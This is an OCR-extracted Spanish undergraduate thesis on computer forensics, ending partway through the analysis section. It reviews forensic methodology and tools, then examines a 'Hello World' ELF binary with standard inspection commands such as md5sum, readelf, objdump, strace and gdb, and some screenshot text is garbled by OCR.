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RESUMEN

El proyecto de graduacién realizado consiste en examinar cuatro archivos que
fueron proporcionados por la directora de la materia, ademas nos informé que estos
archivos fueron extraidos de una computadora con sistema operativo Linux que fue
victima de un ataque de seguridad, el sistema operativo que utilizamos para realizar

el andlisis fue Linux con su distribucion Backtrack Versiéon 5.

Los archivos que nos entregaron fueron:
v' HELLO.C
v' HELLO
v" HELLO.S

v AlIO
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GLOSARIO

Evidencia: Son todos aquellos elementos influyentes que guian a los analistas
forenses hacia las conclusiones y que estan relacionados con aseveraciones sobre
hechos y actos de naturaleza econémica

Cadena de custodia: Es responsabilidad de la persona que maneja la evidencia
asegurar que los articulos son registrados y contabilizados durante el tiempo en el
cual estan en su poder.

Analisis de archivo: Se examina cada archivo digital descubierto y se crea una
base de datos de informacion relacionada al archivo como autor, tamafio, nombre y
ruta, asi como su creacion, ultimo acceso y fecha de modificacion.

MD5: Es un algoritmo de reduccion criptografico de 128 bits, se utiliza extensamente
en el mundo del software para proporcionar la seguridad de que un archivo no se ha
alterado.

Socket: Un socket es un tipo especial de manejador de fichero que utiliza un
proceso para pedir servicios de red al sistema operativo.

Esquema Binario: En este esquema se basa toda la informética tal y como la
conocemos actualmente, constituyendo el llamado cédigo binario. Este codigo se
basa en asignarle a todo dos valores, representados por 0 y 1, el equivalente a Sl y
NO.

Diagrama de flujo: Es la representacion gréfica del algoritmo o proceso.

Estos diagramas utilizan simbolos con significados definidos que representan los
pasos del algoritmo, y representan el flujo de ejecucibn mediante flechas que

conectan los puntos de inicio y de fin de proceso.


http://es.wikipedia.org/wiki/Algoritmo
http://es.wikipedia.org/wiki/Bit
http://es.wikipedia.org/wiki/Gr%C3%A1fica
http://es.wikipedia.org/wiki/Algoritmo
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Proceso: Es un programa en ejecucion y al objeto abstracto que crea el sistema
operativo para manejar el acceso de ese programa a los recursos del sistema
(memoria, CPU, dispositivos de E/S). Pueden coexistir varias instancias de un
mismo programa ejecutando en forma simultanea, cada una de ellas es un proceso
diferente.

ELF: Es un formato de archivo para ejecutables, cddigo objeto, bibliotecas
compartidas y volcados de memoria.

Shell: Es un intérprete de comandos, el cual consiste en la interfaz de usuario
tradicional de los sistemas operativos basados en Unix y similares como GNU/Linux.
Protocolos: Es un conjunto de reglas usadas por computadoras para comunicarse
unas con otras a través de una red por medio de intercambio de mensajes.
Checksum: Es una funcién hash que tienen como propdsito principal detectar
cambios accidentales en una secuencia de datos para proteger la integridad de
datos, verificando que no haya discrepancias. La idea es que se transmita el dato
junto con su valor hash, de esta forma el receptor puede calcular el valor hash de la
secuencia recibida y la puede comparar con el valor hash recibido. Si hay una
discrepancia se pueden rechazar los datos o pedir una retransmision.

Logs: Es usado para registrar datos o informacién sobre quién, qué, cuando, dénde
y porgue un evento ocurre para un dispositivo en particular o aplicacion.

Cdédigo Malicioso: Es un tipo de software que tiene como objetivo infiltrarse o
dafiar una computadora o sistema de informacion sin el consentimiento de su
propietario.

Analizador de tréfico: Analiza los paquetes IP para determinar el tipo de protocolo

que circula por la red.


http://es.wikipedia.org/wiki/Ejecutable
http://es.wikipedia.org/wiki/C%C3%B3digo_objeto
http://es.wikipedia.org/wiki/Biblioteca_compartida
http://es.wikipedia.org/wiki/Biblioteca_compartida
http://es.wikipedia.org/wiki/Volcado_de_memoria
http://es.wikipedia.org/wiki/Int%C3%A9rprete_de_comandos
http://es.wikipedia.org/wiki/Unix
http://es.wikipedia.org/wiki/GNU/Linux
http://es.wikipedia.org/wiki/Computadoras
http://es.wikipedia.org/wiki/Red_de_computadoras
http://es.wikipedia.org/wiki/Funci%C3%B3n_hash
http://es.wikipedia.org/wiki/Dato
http://es.wikipedia.org/wiki/Aplicaci%C3%B3n_inform%C3%A1tica
http://es.wikipedia.org/wiki/Software
http://es.wikipedia.org/wiki/Computadora
http://es.wikipedia.org/wiki/Sistema_de_informaci%C3%B3n
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Wireshark: Es un analizador de protocolos utilizado para realizar andlisis vy
solucionar problemas en redes de comunicaciones, para desarrollo de software y
protocolos, y como una herramienta didactica para educacion. Cuenta con todas las
caracteristicas estandar de un analizador de protocolos.

Kernel: Nucleo del sistema operativo.

Imagen forense: Es también llamada espejo, la cual es una copia bit a bit de un

medio electrénico de almacenamiento.


http://es.wikipedia.org/wiki/Analizador_de_protocolos
http://es.wikipedia.org/wiki/Software
http://es.wikipedia.org/wiki/Protocolo_(inform%C3%A1tica)
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ABREVIATURAS

TCP/IP: Protocolo de Control de Transmision/Protocolo de Internet.

MD5: Algoritmo de Resumen del Mensaje 5.

ELF: Formato ejecutable y enlazable.

ICMP: Protocolo de Mensajes de Control de Internet.

PING: Packet Internet Groper o Buscador de paquetes en redes.

UDP: Protocolo de datagrama de usuario.

ASCIl: Codigo Estandar Estadounidense para el Intercambio de Informacion o

American Standard Code for Information Interchange.
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INTRODUCCION

El objetivo del trabajo fue llevar a cabo un andlisis de computacion forense a los
archivos que se nos proporcionaron; con la finalidad de poder determinar su

implicacion en el ataque de seguridad realizado al equipo antes descrito.

El primer capitulo describe de manera general los antecedentes de la computacién
forense, La motivacién que tuvimos para realizar el proyecto, en base a los archivos

proporcionados. Ademas, se platean los objetivos alcanzados en el proyecto.

El segundo capitulo menciona las ventajas y desventajas de la computacion
forense, Los distintos escenarios donde puede ser usada y qué tipo de dispositivos
se pueden examinar. Describe las reglas, el proceso de analisis, los objetivos y la
metodologia forense. Y muestra herramientas que generalmente son usadas para

andlisis forense y las diferentes certificaciones relacionadas a este campo.



XXI

El tercer capitulo presenta el analisis del proyecto, donde se detalla los comandos

utiizados que nos permitieron examinar los archivos proporcionados.



CAPITULO 1

GENERALIDADES

Parte importante del proyecto es tener claro el concepto y alcance de la
computaciéon forense, con la finalidad de poder entender porque son utilizados

ciertos comandos en el andlisis de los archivos.

1.1 ANTECEDENTES

El concepto de computacién forense esta adquiriendo una gran importancia dentro
de la informacion electronica, esto debido al aumento del valor de la informacion y al
uso que se le da a esta. Ademas, de las constantes intrusiones que han ocurrido en
los sistemas informéticos, que han derivado en el robo de informacién sensible y

pérdidas cuantiosas de muchas empresas a nivel mundial. [1][2].



En la actualidad, la mayoria de nosotros usamos las computadoras para
comunicarnos, aprender y trabajar; llegamos a percibir a las computadoras como
una extensién de nosotros mismos. Por esta razén, en la mayoria de los casos
contienen informacion muy valiosa para los usuarios, que deberia ser protegida o en
caso de investigacion por algun delito informacion puede ser usada como prueba o

evidencia en procesos legales.

Esta prueba o esta evidencia contenida en las computadoras pueden ser obtenidas
desde mails de correos electronicos, fotografias o documentos confidenciales. Mas
importante aun es que esta evidencia dependiendo del caso puede ser
frecuentemente recuperada de una computadora sospechosa, inclusive si el duefio
0 usuario de esta maquina borré la informacion, desfragment6 el disco o inclusive si

lo formate®.

Es por esto que cuando se realiza un delito informético, muchas veces la
informacion queda almacenada en forma digital y esto representa un gran problema,
debido a que los computadores la guardan de tal manera que esta no puede ser
obtenida utilizando medios comunes, para esto se deben utilizar mecanismos
diferentes; es de aqui que surge el estudio de la computacion forense como una

ciencia cientifica que tiene sus fundamentos en las leyes de la fisica, de la



electricidad y el magnetismo, es gracias a fendmenos electromagnéticos que la
informacién se puede almacenar, leer e incluso recuperar cuando se creia

eliminada.

La computacion forense, aplicando procedimientos estrictos y rigurosos puede
ayudar a resolver grandes crimenes apoyandose en el método cientifico, aplicado a

la recoleccion, andlisis y validacion de todo tipo de pruebas digitales. [3]

1.2 JUSTIFICACION

Los ataques a sistemas informaticos son tan frecuentes que en la mayoria de los
casos son exitosos y terminan con la pérdida o robo de informacién critica; en
muchos casos no sabemos ni siquiera el origen del ataque, de aqui se puede partir
con el concepto de computacion forense el cual nos ayudara a dar respuestas a
muchas interrogantes que se presentan en las empresas, poco a poco estos
crimenes informéticos, su prevencién y analisis se vuelven cada vez mas

importantes.



Los delitos informéticos son perpetrados en una variedad de formas; las
computadoras son el objetivo o pueden ser utilizadas para ejecutar el crimen, las
huellas y pistas de estos delitos son almacenadas en forma digital. La informatica
forense permite recoger rastros probatorios para averiguar, siguiendo las evidencias
electrénicas, el origen del ataque (si es una vulneracion externa de la seguridad) o
las posibles alteraciones, manipulaciones, fugas o destrucciones de datos a nivel
interno de la empresa para determinar las actividades realizadas desde uno o varios

equipos concretos.

La computacion forense puede utilizarse como medida preventiva que ayude para
auditar, mediante la practica de diversas pruebas técnicas, que los mecanismos de
proteccién instalados y las condiciones de seguridad aplicadas a los sistemas de
informacion son suficientes. Asimismo, permite detectar las vulnerabilidades de

seguridad con el fin de corregirlas.

1.3 MOTIVACION PARA EL PROYECTO

La motivacién se formé en el hecho de poder analizar los archivos que se nos
entregaron para poder averiguar su participacion en el ataque de seguridad y

entender su mecanismo de ataque para poder prevenir futuras intrusiones.



1.4 IDENTIFICACION DEL PROBLEMA

El problema de examinar los archivos entregados se centra en poder decidir que
herramientas o0 comandos son los mas adecuados para encaminar nuestra

investigacion forense y de esta manera poder alcanzar los objetivos trazados.

1.5 OBJETIVOS DEL PROYECTO

Los objetivos generales y especificos del presente proyecto, se detallan a

continuacion.

1.5.1 Objetivo General

El objetivo principal de este proyecto es examinar los archivos que nos entregaron

para poder determinar cuales son sus funcionalidades y de qué manera se los utilizo

para que el ataque de seguridad sea exitoso.

1.5.2 Objetivos Especificos.

v' Usar el sistema operativo Linux con su distribucion Backtrack version 5 para

analizar los archivos.

v' Investigar sobre las herramientas y comandos usados para poder realizar el

analisis adecuado.



v" Aplicar los conceptos sobre el manejo de la evidencia digital al momento de

analizar los archivos.



CAPITULO 2

MARCO TEORICO

Este capitulo describe el concepto de la computacién forense, cuales son sus
ventajas y desventajas, Se explica de manera general las reglas, la metodologia y la
importancia forense, ademas indicaremos las herramientas que generalmente son

utilizadas y las certificaciones que estan disponibles en este campo.

2.1 COMPUTACION FORENSE

La computacion forense es la aplicacion de técnicas cientificas y analiticas
especializadas a infraestructuras tecnologicas que permiten identificar, preservar,

analizar y presentar datos que sean validos dentro de un proceso legal.



La computacion forense hace su aparicion como una disciplina auxiliar de la justicia

moderna, para enfrentar los desafios y técnicas de los intrusos informaticos.

Es importante mencionar, que en una infraestructura informatica se puede analizar

cualquier dispositivo que posea una memoria, por lo que se puede analizar los

siguientes dispositivos:

v

Disco duro de una computadora o servidor.
Logs de seguridad.

Credenciales de autentificacion.

Teléfono movil o celular.

Agendas electronicas (PDA).

Dispositivos de GPS.

Impresora.

Memoria USB.

2.2 HISTORIA DE LA COMPUTACION FORENSE

A continuacion se detallan los acontecimientos mas importantes relacionados con la

computacion forense. [4]



v' 1978: Florida reconoce los crimenes de sistemas informaticos en el

“Computer Crimes Act", en casos de sabotaje, derechos de autor,

modificacion de datos y ataques similares.

1981: Nace el sistema Copy Il PC la cual se usa para hacer una copia
exacta de disquetes, que generalmente estan protegidos para evitar copias

piratas.

1982: Peter Norton publica UnErase, esta venia incluida en la primera
version del conjunto de herramientas "Utilidades Norton", esta aplicacion

permite recuperar archivos borrados accidentalmente.

1984: El FBI forma el programa de Medios Magnéticos, que mas tarde, en

1991 sera el Equipo de Analisis y Respuesta Informatica.
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v' 1986: Clifford Stoll colabora en la deteccién del hacker Markus Hess. En
1988 publica el documento Hacker contando lo ocurrido. Este documento es
transformado 1989 en el libro ElI huevo del cuco, anticipando una

metodologia forense.

v/ 1987: Se crea la Asociacion de Investigacién de Delitos de Alta Tecnologia
(HTCIA), perteneciente a Santa Clara, la misma que agrupa a profesionales
tanto de agencias gubernamentales como compafias privadas para

centralizar conocimiento e impartir cursos.

v/ 1987: Nace la compafiia Access Data, pionera en el desarrollo de productos
orientados a la recuperacién de contrasefias y el andlisis forense con

herramientas como la actual Kit de Herramientas Forenses (FTK).

v/ 1988: Se crea la Asociacion de Especialistas de Investigacion (IACIS), que
certificara a profesionales de agencias gubernamentales como
examinadores de Informatica Forense (CFCE), una de las certificaciones

mas prestigiosas en el ambito forense. En este mismo afio se desarrolla el
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programa de especialistas recuperadores de evidencia computacional

incautada, con el objetivo de formar a profesionales en computacion forense.

v' 1992:El libro " Una metodologia forense para la lucha contra el delito
informatico ", de P. A. Collier y B. J. Spaul acufia el término "computacién
forense". Posteriormente otros libros continuaran desarrollando el término y
la metodologia, como: " Delincuencia de alta tecnologia: los casos de

investigacion involucran a las computadoras " de Kenneth S. Rosenblatt.

v/ 1995: Se funda la Organizacion Internacional de Prueba Informatica (IOCE),
con objetivo de ser punto de encuentro entre especialistas en la evidencia

electronica y el intercambio de informacién.

v' 1996: La Interpol organiza el simposio internacional de ciencias forenses,
como foro para debatir los avances forenses, uniendo fuerzas vy

conocimientos.
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v/ 2001: Nace el taller de Investigaciéon Forense Digital (DFRWS), un nuevo

grupo de debate y discusion internacional para compartir informacién.

2.3 OBJETIVOSLA COMPUTACION FORENSE

La computacion forense se basa en 3 objetivos principales que son:

v' La compensacion de los dafios causados por los criminales o intrusos.
v' La persecucion y procesamiento judicial de los criminales.

v" Creacion y aplicacion de medidas para prevenir casos similares.

Estos objetivos pueden ser logrados de diferentes maneras pero lo primordial es la

recoleccién de evidencia. [5]

2.4 METODOLOGIADE LA COMPUTACION FORENSE

La metodologia de la computacion forense se la puede resumir en cuatro pasos [6]

v ldentificar que computadora puede contener evidencia, reconociendo la fragil

naturaleza de los datos digitales.
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v' Preservar la evidencia contra dafios accidentales o intencionales,
usualmente esto se realiza efectuando una copia o imagen espejada del
medio analizado.

v" Analizar la imagen copia de la original, buscando la evidencia o informacién
necesaria.

v' Terminada la investigacion se debe realizar el reporte de hallazgos a la

persona indicada para tomar decisiones.

2.5 USOS DE LA COMPUTACION FORENSE

Existen varios usos de la informatica forense entre los que tenemos: [7]

v" Prosecucién Criminal: Evidencia incriminatoria puede ser usada para
procesar una variedad de crimines, incluyendo homicidios, fraude financiero,
trafico y venta de drogas, evasion de impuestos o pornografia infantil.

v' Litigacion Civil: Casos que tratan con fraude, discriminacion, acoso, divorcio,
etc.

v' Investigacion de Seguros: La evidencia encontrada en computadores, puede
ayudar a las compafiias de seguros a disminuir los costos de los reclamos
por accidentes y compensaciones.

v" Temas Corporativos: Puede ser recolectada informacion en casos de
apropiacion de informacion confidencial, propietaria o espionaje industrial.

v' Mantenimiento de la ley: Puede ser usada en la busqueda inicial de érdenes

judiciales
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2.6 PROCESO DE ANALISIS

El proceso de analisis forense a un equipo informatico se describe a continuacién:[8]

v Identificacion: Se identifica o detecta el evento.

v" Preservacion: Se conserva la cadena de custodia y documentacion.
v" Recoleccién: Se recupera los datos y se recoge la evidencia.

v' Examinacion: Se realiza el seguimiento y extraccién de datos ocultos.
v' Analisis: Se realiza el estudio de la evidencia.

v" Presentacion: Se elabora el reporte de la Investigacion.

v Decision.

Y Y Y
—_— ey — . 15 it i [——
~ - ~ — H — ﬁ
e M L

Figura 2.6-1 Proceso de Analisis Forense


file:///C:/Users/Jose/AppData/Roaming/Microsoft/Word/TESIS%20FINALTesis_AupITesis_AUDIETesis_FINAL%2029-11-2012.docx
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2.7 HERRAMIENTAS

Las herramientas que podemos usar para realizar un andlisis de computacion

forense estan divididas en las siguientes secciones:[9]

ANALISIS EN GENERAL

v Sleuth Kit — Kit Forense.

v" Py-Flag — Navegador Forense.

v' Autopsy - Es un navegador que permite usar varias herramientas para
realizar un analisis forense.

v' dcfldd — Herramienta de imagenes en linea de comando.

v' Air — Herramienta de imagenes en modo grafico.

v md5deep — Programa para crear una hash MD5.

v' netcat— Proporciona las conexiones salientes y entrantes TCP y UDP.

v' Qtparted — Herramienta para particionar.

v" Regviewer — Poder visualizar el registro de windows

v' BackTrack — Sistema operativo que realiza analisis forense y pruebas de
penetracion.

v" R-Studio Emergency — Media bootable de arranque.

v' Encase — Equipo forense de productos que sirven para analizar medios de

comunicacion digitales.
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v' Snort - Es una red de cédigo abierto de prevencion de intrusiones y sistema
de deteccién (IDS / IPS).
v Helix - Sistema operativo que esta centrado a encontrar incidentes

relacionados a la computacion forense.

ANALISIS DE DISCO DURO

v" Access Data Forensic ToolKit (FTK).

v Guidance Software Encase.

ANALISIS DE CORREO ELECTRONICO

v Paraben.

ANALISIS DE REDES

v' E-Detective - DecisionComputerGroup.

v' SilentRunner — Access data.

ANALISIS DE USB

v' USBDeview.
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2.8 TIPOS DE ATAQUES

Existen dos tipos de ataques segun su procedencia que son:[10]

v' Ataques Internos: Es decir dentro la red, los empleados descontentos,
terceros dentro de la organizacion.
v Ataques Externos: Los que se realizan desde fuera del perimetro de

seguridad, por ejemplo internet

atacante
interno

atacante externo

Figura 2.8-1 Esquema de Tipos de Ataques
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2.8.1 ETAPAS DE UN ATAQUE INFORMATICO

Un ataque consta de cinco etapas por las cuales suele pasar al momento de ser

ejecutado.[11]

Reconocimiento

Figura 2.8-2 Etapas de un ataque Informético

Un ataque compromete los siguientes aspectos de seguridad

v' Confidencialidad: Un atacante podria robar informaciéon sensible como
contrasefas u otro tipo de datos que viajan en texto claro a través de redes

confiables.
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v" Integridad: Un atacante podria interceptar el mensaje y realizar cambios en
determinados bits del texto cifrado con la intencion de alterar los datos del

criptograma.

v' Disponibilidad: Un atacante podria utilizar los recursos de la organizacion,
como el ancho de banda para inundar de mensaje el sistema victima y forzar

la caida del mismo.

2.9 CERTIFICACIONES

Existen algunos tipos de certificaciones a las que un examinador forense puede

aplicar entre las cuales detallamos las siguientes:[12]

v Investigador Forense de Informéatica — La emite La Sociedad Internacional

de Examinadores de Informatica Especializados (IACIS).

v" Investigador Forense de Hacking (CHFI) — La emite EC-Council.

v' Certificado de Informéatica Forense — La emite La Sociedad Internacional de
Examinadores de Informética Forense (ISFCE).
v"  Certificado de Informéatica Forense Técnico — La emite la Red de Delitos de

Alta Tecnologia (HTCN).



CAPITULO 3

BACKTRACK

Este capitulo describe la herramienta utilizada para el andlisis forense, cuales son
sus diferentes herramientas, se explican cuales son sus caracteristicas y las

diferentes ediciones que a lo largo de los afios han sido publicadas.

3.1 CONCEPTO Y GENERALIDAD

BackTrack es una distribucion GNU/Linux en formato LiveCD pensada y disefiada
para la auditoria de seguridad informatica, el cual se deriva de la union de dos

grandes distribuciones orientadas a la seguridad:[13]
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v" Whoppix es una distribucién Live de Linux que nacié con la intencién de
proporcionar un entorno unificado para la auditoria de seguridad. Su hombre
deriva de White HatKnoppix. La Ultima versién antes de convertirse en

WHAX (White HatSlax), fue la version 2.7.

v WHAX esta pensado para pruebas de seguridad y penetraciéon de sistemas.
Posee las Ultimas versiones de varias herramientas de seguridad. El cambio
de nombre se debe a la migracién del sistema base, originalmente Knoppix,

ahora SLAX.

Backtrack5 también incluye una larga lista de herramientas de seguridad listas para
usar, entre las que destacan numerosos escaneres de puertos y vulnerabilidades,
archivos de exploits, sniffers, herramientas de andlisis forense y herramientas para

la auditoria de redes inalambricas.

BackTrack 5 esta basado en Ubuntu 10.04 LTS que por primera vez ofrece soporte
para arquitecturas de 32 y 64 bits, algo nuevo en la distribucion. También soporta el
entorno de escritorio KDE 4, Gnome y Fluxbox, lo que permite al usuario descargar

la edicién con el entorno de escritorio de su preferencia.


http://es.wikipedia.org/wiki/Kde
http://es.wikipedia.org/wiki/Gnome
http://es.wikipedia.org/wiki/Fluxbox

3.2 HERRAMIENTAS

Entre las herramientas ofrecidas por Backtrack tenemos:[14]

Aircrack-ng, herramientas para auditoria inalambrica
Kismet, sniffer inalambrico

Ettercap, interceptor/sniffer/registrador para LAN
Wireshark, analizador de protocolos

Medusa, herramienta para ataque de fuerza bruta

Nmap, rastreador de puertos

Estas Herramientas se agrupan en 11 familias que son:

v

v

v

Recopilacién de informacion

Mapeo de puertos

Identificacion de vulnerabilidades

Analisis de aplicaciones web

Andlisis de redes de radio (WiFi, Bluetooth, RFID)

Penetracion (Exploits y Kit de herramientas de ingenieria social)
Escalada de privilegios

Mantenimiento de acceso

Forenses

Ingenieria inversa
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v" Voz sobre IP
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CAPITULO 4

ANALISIS

Este capitulo se detalla todo lo analizado y encontrado en la evidencia y los

diferentes métodos para la examinacion de la evidencia.

4.1 ARCHIVO HELLO.C

La primera evidencia analizada fue el archivo HELLO.C, a continuacion se detalla el

analisis paso a paso.
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4.1.1 INTEGRIDAD DEL ARCHIVO HELLO.C

Antes de comenzar a trabajar en la evidencia se debe mantener la integridad del

mismo, para esto se utiliza el algoritmo md5.

Para hacer uso de este algoritmo se utiliza el comandomd5sum, con lo cual
aseguraremos que la evidencia no haya sido alterada y nos creard un archivo .txt

que utilizaremos posteriormente

4.1.2 CONTENIDO DEL ARCHIVO HELLO.C

Al momento de ejecutar el archivo HELLO.C imprimia en pantalla el siguiente

mensaje "HelloWorld".

Se utilizé el comando strings, para revisar el contenido de este archivo.

El comando file nos da informaciéon méas detallada acerca del archivo.



26

File Edit View Terminal Help

Desktop
ELLO.
> md5sumHELLO. txt

Figura 4.1-1 Comando md5sum y Strings

4.2 ARCHIVO HELLO

Se procedio con el analisis del archivo HELLO, a continuacion se detalla su analisis

paso a paso.
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4.2.1 INTEGRIDAD DEL ARCHIVO HELLO

Antes de comenzar a trabajar en la evidencia se debe mantener la integridad del

mismo, para mantener esta integridad se utiliza el comando md5sum.

4.2.2 CONTENIDO DEL ARCHIVO HELLO

4.2.2.1 COMANDO FILE

Se utilizé el comando file para determinar qué tipo de archivo es HELLO, y mostré lo

siguiente:

File Edit View Terminal Help

1~/Desktc
HELLO HELLO.C

~/Desk
HELLO: ELF 3

Figura 4.2-1 Comando File


http://clavelinux.blogspot.com/2009/08/comando-file.html
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Hello es un archivo binario ELF ejecutable de 32 bits,en ocasiones, se hace
referencia al LSB como el bit menos significativo o de menor valor, fue compilado en
una arquitectura Intel 80386, fue compilado dinamicamente y existen simbolos

presentes.

El formato ELF (Formato Ejecutable y Vinculado) es un formato de archivo
para ejecutables, cédigo objeto, bibliotecas compartidas y volcados de memoria, es
el formato ejecutable usado  mayoritariamente en los  sistemas

tipo UNIX como GNU/Linux, BSD, Solaris, Irix.

Al hablar de compilacion esta puede ser estatica o dindmica, un compilado
estatico es cuando una libreria se copia en nuestro programa al momento de
compilarlo, un compilado dinamico no se copia la libreria en nuestro programa al

momento de compilarlo.

Una vez obtenida informacion importante acerca de este archivo se procedié a

revisar su contenido.


http://es.wikipedia.org/wiki/Executable_and_Linkable_Format
http://es.wikipedia.org/wiki/Ejecutable
http://es.wikipedia.org/wiki/Biblioteca_compartida
http://es.wikipedia.org/wiki/Volcado_de_memoria
http://es.wikipedia.org/wiki/UNIX
http://es.wikipedia.org/wiki/GNU/Linux
http://es.wikipedia.org/wiki/BSD
http://es.wikipedia.org/wiki/Solaris_(sistema_operativo)
http://es.wikipedia.org/wiki/Irix
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4.2.2.2 COMANDO STRINGS -a

Ejecutamos el comando strings—a para obtener informacién acerca del contenido de

este archivo

Figura 4.2-2 Comando strings -a
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La informacion mas relevante que nos muestra es que utilizo un compilador GNU
version 3.2 20020903 de Red Hat Linux 8.0 3.2-7, también hace referencia a la

libreria libc.so.6.

4.2.2.3 COMANDO HEXDUMP -C

Se utiliza este comando para poder convertir todo lo binario a hexadecimal, fue de
gran ayuda ya que mucha informacién que estaba en binario lo convirti6 a un

formato visible para nosotros.

El comando hexdump —C |more, convierte todo lo binario en hexadecimal.

File Edit View Terminal

Figura 4.2-3 Comando hexdump -C
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En la imagen la columna izquierda representa la direccion del archivo, la columna
del medio nos muestra el valor hexadecimal y la columna de la derecha nos muestra
un texto ASCII, donde los primero 16 bytes indican que es el campo magico de un

archivo ELF, el campo magico de un archivo ELF serd explicado mas adelante.

4.2.2.4 COMANDO NM

Siguiendo con el andlisis, usaremos el comando nm el cual basicamente nos enlista
los simbolos del archivo, siempre y cuando estos no hayan sido removidos con el
comando strip, también muestra un listado de funciones que tiene un cédigo objeto

0 una libreria compartida.

File Edit View Terminal Help
HELLO HELLO.C

Figura 4.2-4 Comando nm
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Los simbolos pueden ser variables globales estaticas o funciones.

4.2.2.5 COMANDO LDD

Como nuestra evidencia fue compilada dindmicamente un comando que ayuda
bastante es el Idd, este comando nos va a indicar las bibliotecas dinamicas que el
binario necesita para poder funcionar, esta informacién la obtiene de una seccién

especial del archivo ELF llamada .interp.

File Edit View Terminal Help

+~/TESIS# ldd HELLO

linux-gate.so.1l => (0xb7782000)

libc.so.6 => /lib/tls/1686/cmov/1ibc.s0.6 " (Oxb7614000)
/1ib/1d-1inux.s0.2 (©xb77836000)

:~/TESIS# |

Figura 4.2-5 Comando Idd
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Muestra en pantalla que la libreria de C libc.so0.6, es cargada por el enlazador

dindmico ELF /lib/Id-linux.so.2.

4.2.2.6 COMANDO READELF - - FILE -HEADER

Este comando nos ayuda a obtener informacién acerca de la estructura, arquitectura

y contenido de la cabecera ELF, cabe indicar que la cabecera ELF es siempre la

primera seccion del archivo binario ejecutable ELF como se muestra en la figura.

ealers:

headers.

Figura 4.2-6 Comando readelf --file header
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4.2.2.7 COMANDO READELF - - SECTION-HEADERS

Este comando nos permite visualizar informacion sobre las secciones, las

secciones representan un objeto de dato necesario para la vista vinculada.

La tabla de la seccion de cabecera es una matriz de estructuras la cual nos
proporciona informacion acerca de la correlaciéon de una seccion en el archivo, el
tipo, el nombre y la direccion de la imagen en memoria donde empieza la entrada de
documentos, el tamafio de la seccién del archivo compensado en bytes y otras

banderas asociadas con cada seccion.

4
4
}
}
4
4
4
4
4
!
|
}
1
1
4

-

Figura 4.2-7 Comando readelf --section - headers
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A continuacion mostramos algunas de las secciones ELF mas comunes, todas estas
secciones contienen informacién muy valiosa, pero nosotros nos vamos a enfocar

en dos secciones particularmente interesantes que son:

v" .RODATA, la cual contiene datos solo de lectura asociados con el binario el
cual deberia incluir una cadena de texto plano ASCII o un cédigo ejecutable

v" .TEXT, la cual no contiene texto y se encuentra donde actualmente se
encuentran las instrucciones de codigo de maquina que representa la

porcién del ejecutable donde reside el binario.

4.2.2.8 COMANDO READELF - -PROGRAM —HEADERS

Este comando nos permite ver informacion sobre la cabecera del programa y los
segmentos, es importante mencionar que estas representan la vista de ejecucion y

contienen la informacion necesaria para crear una imagen de proceso.

La tabla de la cabecera del programa es una matriz que contienen entradas tal
como el tipo de documento o archivo, direcciébn en memoria fisica y virtual, tamafio

de imagen de memoria y archivo, banderas y alineacién de informacion.
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File Edit View Terminal Help

Desktop
HELLO HELLO.C (

oxuguvias

6x0003b8

Figura 4.2-8 Comando readelf -- program - headers

4.2.2.9 COMANDO READELF - -SYMBOLS

Este comando nos provee informacion sobre el valor, tamafio, tipo y nombre de

simbolos en el binario.
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File Edit View Terminal

HELLO HELLO.C

ve

Figura 4.2-9 Comando readelf -- symbols

4.2.2.10 COMANDO READELF - - HEX-DUMP

También nos ayuda a explorar el contenido especifico de una seccién, pero para

esto primero se necesita asignar el nimero de la seccion.
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File Edit View Terminal Help
:~/TESIS# readelf --hex-dump=1 ./HELLO

Hex dump of section '.interp':
0x080480T4 2f6c6962 2f6c642d 6c696e75 782e736T /lib/1ld-1linuk.so
0x08048104 2e3200 o7

:~/TESIS# readelf --hex-dump=14 .
Hex dump of section '.rodata':

0x08048390 03000000 01000200 48656C6C 6T2€ Hello Wo
0x080483a0 7266421 0300 f

:~/TESIS# ||

Figura 4.2-10 Comando -- hex - dump

En este ejemplo se utilizd la seccion 1 o .interp, que contiene el nombre del

enlazador dinamico que se denomina /lib/ld-linux.so.

Otro ejemplo que se utilizé fue la seccion ndmero 14 o rodata la cual contiene una

cadena de texto plano ASCII, se puede apreciar el mensaje Hello Word.
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4.2.2.11 COMANDO OBJDUMP - - DISASSEMBLE

Mediante objdump-disassemble u objdump -d tenemos la posibilidad de mostrar el

contenido en cadigo ensamblador.

File Edit View Terminal Help
:~/TESIS# objdump --disassemble .

./HELLO: file format elf32-1386

Disassembly of section .init:

08048230 < init>:

8048230: push

8048231: e mov %e
8048233: ec sub $0x8,%esp

8048236 e call 804829c <call gmon start>
804823b: 9e nop

804823c: e8 call 80482fc =frame dummy>

804824 L e8 call 8048350 </ do global ctors aux>
8048246 o leave

8048247 c3 ret

Disassembly of section .plt:

libc start main@plt-0x10>:
ff 35 98 94 04 pushl
ff 25 9c 94 04 jmp *0x804949c¢
00 add %al, (%eax)

Figura 4.2-11 Comando objdump -- disassemble

Aqui se puede apreciar la parte de .init el cual contiene cddigo de inicializacion para

el proceso.
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4.2.2.12 COMANDO STRACE

El funcionamiento de strace consta de interceptar las llamadas al sistema que esta
realizando el binario y mostrarlas por pantalla, también nos provee los pardmetros

con la que fue invocada y el retorno de la misma.

Cada linea contiene nombre de las llamadas al sistema, argumentos, y valores

retornados.

La primera linea muestra la llamada al sistema execve la cual ejecuta nuestro

binario HELLO.

Las areas de memoria estan estabilizadas, las librerias compartidas fueron

accedidas con éxito y las regiones de la memoria fueron mapeadas.

Al final se puede observar la linea write (1, “HelloWorld'\n” 13 HelloWorld!) =13, la
gue hace referencia a la llamada al sistema para escribir en la salida estandar la
cadena “HelloWorld!”, el valor de retorno de esa llamada es la cantidad de bytes que
se escribieron y en este caso fueron 12 que es la longitud de “HelloWorld!” mas el

salto de linea ('\n").
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File Edit View Terminal Help

DENYWRITE,

PRIVATE |[MAP FIXED | MAP. ANONYMOUS

Figura 4.2-12 Comando strace

4.2.2.13 GNU DEBUGGER (GDB)

Este comando nos permitird analizar e investigar el binario durante su ejecucion,
examinar el flujo de la aplicacion, establecer puntos de quiebre donde la aplicacion

se detiene y asi analizar la memoria, registros e informacion del proceso.
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File Edit View Terminal Help

S# qdb

Figura 4.2-13 Comando gdb

Aqui se ha ejecutado el gdb, entre lo mas importante se puede apreciar la version

del gdb e informacién de las librerias.
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> Edit View Terminal

bthread-abrsoris |

Figura 4.2-14 Comando gdb

Nuestra primera opcion utilizada sera info functions que nos provee informacion de

las direcciones de las funciones que estan contenidas dentro del binario.

Luegos creamos un punto de quiebre en la funcion printf.

Se procedi6 a ejecutar el binario con la opcion run, el binario se ejecuta hasta que

encuentra el breakpoint.
